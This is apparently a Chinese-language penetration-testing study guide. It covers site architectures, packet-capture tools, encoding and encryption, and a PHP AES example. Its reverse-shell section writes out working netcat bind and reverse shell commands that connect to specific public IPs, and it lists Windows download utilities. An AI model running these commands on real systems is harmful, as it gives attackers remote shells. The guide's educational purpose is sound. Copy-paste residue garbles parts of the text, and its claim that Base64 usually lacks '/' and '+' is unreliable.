安全启示录

基础入门

目录

  1. 基础架构与知识点
  2. 渗透测试与常规命令
  3. 抓包技术与工具
  4. 数据传输与加密算法
  5. 其它知识点

基础架构与知识点

知识点分类 📝

Web 相关

  • 常规: 系统、中间件、数据库、源码等
  • 其他: 前后端、软件、Docker、分配站等
  • 拓展: CDN、WAF、OSS、反向代理、负载均衡

APP 架构

  • 封装平台、原生态开发、H5、Flutter 等

小程序架构

  • 基于 Web、H5、JS、Vue 框架等

渗透命令

  • 常规命令、文件上传/下载、反弹 Shell(正向/反向)、数据回显

抓包技术

  • HTTP/S 级别: 针对 Web、APP、小程序、PC 应用等
  • 全局协议抓包: 针对 APP、小程序、PC 应用,涉及 TCP/UDP/ICMP/DNS 等

数据加密

  • 存储密码加密: 应用对象(Web、系统、第三方)
  • 传输加密/编码: 用于发送回显、统一数据格式
  • 代码混淆: 开发语言的加密和逆向保护
  • 加密类型: 单向散列(MD5、SHA 等)、对称加密(AES、DES)、非对称加密(RSA)及解密处理

Web应用搭建流程

  • 搭建流程(常规 Web 应用)
    1. 购买云服务器与域名。
    2. 在服务器上搭建中间件(如 Apache、Nginx、IIS 等)。
    3. 下载并上传 Web 程序源码。
    4. 添加网站并绑定域名目录。
  • 架构模式
    • 站内站(同服务器部署)
      • 原理:源码和数据存储在同一台服务器。
      • 影响:漏洞利用时直接获取系统权限。
    • 站库分离
      • 原理:源码与数据库部署在不同的服务器或使用云数据库。
      • 影响:数据安全性较高,攻击者需要连接数据库服务器才能进一步影响数据。
    • 前后端分离
      • 原理:前端使用 JS 框架,数据通过 API 与后端交互。
      • 影响
        • 前端页面漏洞较少。
        • 后端管理常不在同一域名,权限相互独立。
  • 常见部署工具与环境
    • 宝塔面板 + Phpstudy:集成化环境,常见权限配置管理。
    • Docker 容器:利用虚拟化技术实现环境隔离,攻击者只能在容器内活动。
    • 分配站/托管站:利用第三方平台建立站点,测试时需注意目标归属。

APP和小程序架构

  • APP 架构
    1. 原生开发
      • 安卓:主要使用 Java(或 Kotlin)。
      • 开发特点:调用系统控件,支持自定义控件。
    2. H5 开发
      • 优点:多端复用(浏览器、iOS 等);适用于页面分享。
      • 缺点:体验相对原生稍弱。
    3. Flutter 开发
      • 谷歌推出的跨平台 UI 框架,使用 Dart 语言。
      • 优点:渲染效率高,体验接近原生;缺点:生态相对新、开发效率可能较低。
    4. Web App 开发
      • 将网站嵌入到 APP 壳中,开发周期较长,但成本低、人员需求少。
  • 小程序架构
    • 分为Web 封装平台H5/Vue 框架两种实现方式。
    • 安全影响:主要沿用常规 Web 安全测试手段,但需关注 API 接口与 JS 框架漏洞。

渗透测试与常规命令💥

常规渗透命令

  • 主要方向
    1. 文件上传/下载
    2. Shell 反弹(正向与反向连接)
    3. 数据回显(查询、带外数据、网络协议层级)
  • 参考资料
    常规基本渗透命令详解

实用案例1:文件上传/下载

  • 背景与用途
    • 解决无图形化界面环境下的数据传输。
  • 命令生成平台
    文件上传/下载命令生成
  • 工具示例
    • Linuxwgetcurlpythonrubyperljava 等。
    • WindowsPowerShellCertutilBitsadminmsiexecmshtarundll32 等。
    • 在线命令生成: 命令生成链接

实用案例2:反弹Shell

  • 背景与用途

    • 用于解决数据回显及数据通信问题。
  • 命令生成平台
    反弹 Shell 命令生成

  • 示例命令

    • 正向连接:目标由监听方等待主动连接

      • Linux 控制 Windows

        • 监听:

          1
          nc -e cmd -lvp 5566
        • 目标连接:

          1
          2
          3
          4
          5
          bash


          复制编辑
          ncat 47.122.23.131 5566
      • Windows 控制 Linux

        • 监听:

          1
          2
          3
          4
          5
          bash


          复制编辑
          ncat -e /bin/sh -lvp 5566
        • 目标连接:

          1
          2
          3
          4
          5
          bash


          复制编辑
          nc 47.94.236.117 5566
    • 反向连接

      目标主动连接监听方

      • 示例1(Linux)

        • 在目标执行:

          1
          2
          3
          4
          5
          bash


          复制编辑
          ncat -e /bin/sh 47.122.23.131 5566
        • 监听:

          1
          2
          3
          4
          5
          bash


          复制编辑
          nc -lvvp 5566
      • 示例2(Windows)

        • 在目标执行:

          1
          2
          3
          4
          5
          bash


          复制编辑
          nc -e cmd 47.94.236.117 5566
        • 监听:

          1
          2
          3
          4
          5
          bash


          复制编辑
          ncat -lvvp 5566
  • 常用符号说明

    • 管道符: |
    • 逻辑或: ||
    • 逻辑与: &&
    • 后台任务符号:
      • Windows:&
      • Linux:& 或 ```(命令替换)和分号 ;

抓包技术与工具🕵️‍♂️

HTTP/S抓包

  • 常用工具
    • Fiddler
      • 网址:Fiddler
      • 功能:HTTP 调试代理,记录与分析所有 HTTP 通信(cookie、HTML、JS、CSS 等)。
    • Charles
      • 网址:Charles Proxy
      • 功能:HTTP 代理及监视器,可监控 request、response 及 HTTP 头信息。
    • Burp Suite
      • 介绍:集成化 Web 攻击平台,包含请求处理、持久性、认证、代理、日志等功能。
  • 证书安装
    • 浏览器和模拟器均需要安装抓包工具证书,以便抓取 HTTPS 流量。

全局协议抓包

  • 常用工具
    • TCPDump
      • 用途:截获并过滤网络层、协议、主机、端口的数据包,支持复杂逻辑过滤(and/or/not)。
    • Wireshark
      • 网址:Wireshark
      • 功能:网络封包分析工具,通过 WinPCAP 与网卡直接交换数据。
    • 科来网络分析系统
  • 使用场景
    • APP、小程序、PC 应用等全局协议抓包。

数据传输与加密🔑

存储密码、传输加密与数据格式

  • 应用场景
    • 存储密码加密:适用于 Web、系统及第三方应用(如 ZZZCMS、Dz、Win/Linux、MSSQL、MYSQL)
    • 传输加密与编码:对发送及回显数据进行加密或编码,常见于 API 通信、数据回显测试等。
    • 数据传输格式:统一格式如 JSON、XML 等,便于漏洞探针自动发送和回显数据分析。
    • 代码混淆
      • 针对 PHP/JS 混淆加密及 EXE/JAR 的代码保护
      • 目的: 防止逆向破解和代码审计
  • 实际案例
    • 博客登录、视频传输、APP 游戏数据等。

常见编码与加密算法

1. 单向散列加密(如 MD5)

  • 特点
    • 由数字 0-9 与字母 a-f 构成。
    • 固定长度(16 或 32 位)。
  • 优点
    • 便于存储,运算损耗低。
  • 缺点
    • 存在暴力破解的风险,建议加盐处理。
  • 常见算法
    • MD5、SHA、MAC、CRC

2. 对称加密(如 AES、DES)

  • 特点
    • 加密解密使用同一密钥。
  • 优点
    • 算法公开、计算量小、速度快。
  • 缺点
    • 密钥必须双方协商、管理较为繁琐。
  • 常见算法
    • DES、AES、RC4

3. 非对称加密(如 RSA)

  • 特点
    • 使用一对密钥:公钥与私钥,可相互加解密。
  • 优点
    • 安全性较高,适用于少量数据加密。
  • 缺点
    • 加解密速度慢,不适合大批量数据处理。
  • 常见算法
    • RSA、RSA2、PKCS

4. 编码与加密识别

  • MD5
    • 特点:固定长度、只包含 0-9a-f 字符。
    • 解密条件:需要密文,对复杂明文可能无法还原。
  • Base64 编码
    • 特点:
      • 区分大小写,由数字与字母组合构成。
      • 密文一般以 == 结尾(短明文可能没有)。
      • 明文越长,编码后的密文也越长,通常不包含 "/""+"
  • AES/ DES
    • 编码结果通常类似 Base64,但可能包含 "/""+"

注意: 在安全测试时,若对方在传输过程中对数据进行了编码或加密,测试 Payload 也需作相应处理,否则提交的内容可能无法识别。


其它知识点

代码混淆与逆向保护

  • 目的
    • 保护源代码不被轻易逆向、破解。
  • 应用场景
    • Web 前端(PHP、JS 混淆加密)。
    • 桌面应用(EXE、JAR 文件加壳保护)。
  • 安全测试关注点
    • 分析混淆代码逻辑,尝试逆向恢复原始逻辑。

安全产品与防护技术🔐

  • 常见产品
    • CDN
      • 原理:内容分发网络,提升访问速度,同时隐藏真实源 IP。
      • 示例:阿里云全局 CDN 加速服务。
    • WAF(Web 应用防火墙)
      • 原理:过滤 Web 应用的恶意请求,常规测试可能会受到拦截。
      • 示例:免费 D 盾防护软件。
    • 云存储 OSS
      • 原理:第三方静态文件存储,减轻服务器带宽压力。
      • 示例:阿里云 OSS、Cloudreve 等配置方式。
    • 其它产品
      • IDS/IPS、蜜罐、防火墙、杀毒软件等。

常见问题与测试要点🤔

  • 安全测试
    • 有源码时:直接查看源码了解加密算法
    • 无源码时:通过猜测、前端 JS 分析加密逻辑
  • 目标分析
    • 理解 Web、APP、云应用、负载均衡等各个环节的工作原理
    • 分析安全产品(如 CDN、WAF、IDS/IPS、蜜罐、杀毒软件)的影响

附:PHP7.3加密示例代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
php复制编辑<?php
// 示例:使用 PHP 7.3 实现简单的加密与解密
function encryptData($plaintext, $key) {
$cipher = "AES-128-CBC";
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, OPENSSL_RAW_DATA, $iv);
// 返回 base64 编码后的 IV + 密文
return base64_encode($iv . $ciphertext);
}

function decryptData($ciphertextBase64, $key) {
$cipher = "AES-128-CBC";
$iv_ciphertext = base64_decode($ciphertextBase64);
$ivlen = openssl_cipher_iv_length($cipher);
$iv = substr($iv_ciphertext, 0, $ivlen);
$ciphertext = substr($iv_ciphertext, $ivlen);
return openssl_decrypt($ciphertext, $cipher, $key, OPENSSL_RAW_DATA, $iv);
}

// 使用示例
$key = 'your-secret-key';
$originalText = 'Hello, World!';
$encrypted = encryptData($originalText, $key);
$decrypted = decryptData($encrypted, $key);

echo "原文: {$originalText}\n";
echo "加密后: {$encrypted}\n";
echo "解密后: {$decrypted}\n";
?>